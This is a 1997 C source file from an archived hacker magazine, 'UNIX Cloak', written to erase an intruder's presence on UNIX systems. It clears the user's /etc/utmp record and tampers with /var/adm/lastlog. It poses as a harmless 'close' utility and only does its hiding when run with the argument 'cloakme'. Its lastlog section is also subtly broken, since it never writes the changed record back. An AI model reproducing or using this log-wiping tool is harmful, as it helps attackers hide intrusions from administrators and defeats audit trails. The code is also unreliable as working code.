home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / HackAddict™ Magazine / HA 1-12 / HackAddict05.sit / HackAddict 5 ƒ / Files / UnixCPrograms / cloak.c next >
C/C++ Source or Header  |  1997-02-10  |  2KB  |  76 lines

  1. /* UNIX Cloak v1.0 (alpha)  Written by: Blacktail of -Crasher- */
  2. /* This file totally wipes all presence of you on a UNIX system*/
  3. /* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
  4. /* is compatible..  This file is for information purposes ONLY!*/
  5. /* Kudos go out to bubba kevin mike tingli blah                */
  6. /*--> Begin source...    */
  7. #include <fcntl.h>
  8. #include <utmp.h>
  9. #include <sys/types.h>
  10. #include <unistd.h>
  11. #include <lastlog.h>
  12.  
  13. main(argc, argv)
  14.     int     argc;
  15.     char    *argv[];
  16. {
  17.     char    *name;
  18.     struct utmp u;
  19.     struct lastlog l;
  20.     int     fd;
  21.     int     i = 0;
  22.     int     done = 0;
  23.     int     size;
  24.  
  25.     if (argc != 1) {
  26.          if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
  27.          printf("You are now cloaked\n");
  28.          goto start;
  29.                                                            }
  30.          else {
  31.           printf("close successful\n");
  32.           exit(0);
  33.           }
  34.            }
  35.     else {
  36.      printf("usage: close [file to close]\n");
  37.      exit(1);
  38.      }
  39. start:
  40.     name = (char *)(ttyname(0)+5);
  41.     size = sizeof(struct utmp);
  42.  
  43.     fd = open("/etc/utmp", O_RDWR);
  44.     if (fd < 0)
  45.     perror("/etc/utmp");
  46.     else {
  47.     while ((read(fd, &u, size) == size) && !done) {
  48.         if (!strcmp(u.ut_line, name)) {
  49.         done = 1;
  50.         memset(&u, 0, size);
  51.         lseek(fd, -1*size, SEEK_CUR);
  52.         write(fd, &u, size);
  53.         close(fd);
  54.         }
  55.     }
  56.     }
  57.  
  58.  
  59.     size = sizeof(struct lastlog);
  60.     fd = open("/var/adm/lastlog", O_RDWR);
  61.     if (fd < 0)
  62.     perror("/var/adm/lastlog");
  63.     else {
  64.     lseek(fd, size*getuid(), SEEK_SET);
  65.     read(fd, &l, size);
  66.     l.ll_time = 0;
  67.     strncpy(l.ll_line, "ttyq2 ", 5);
  68.     gethostname(l.ll_host, 16);
  69.     lseek(fd, size*getuid(), SEEK_SET);
  70.     close(fd);
  71.     }
  72. }
  73.  
  74.  
  75.  
  76.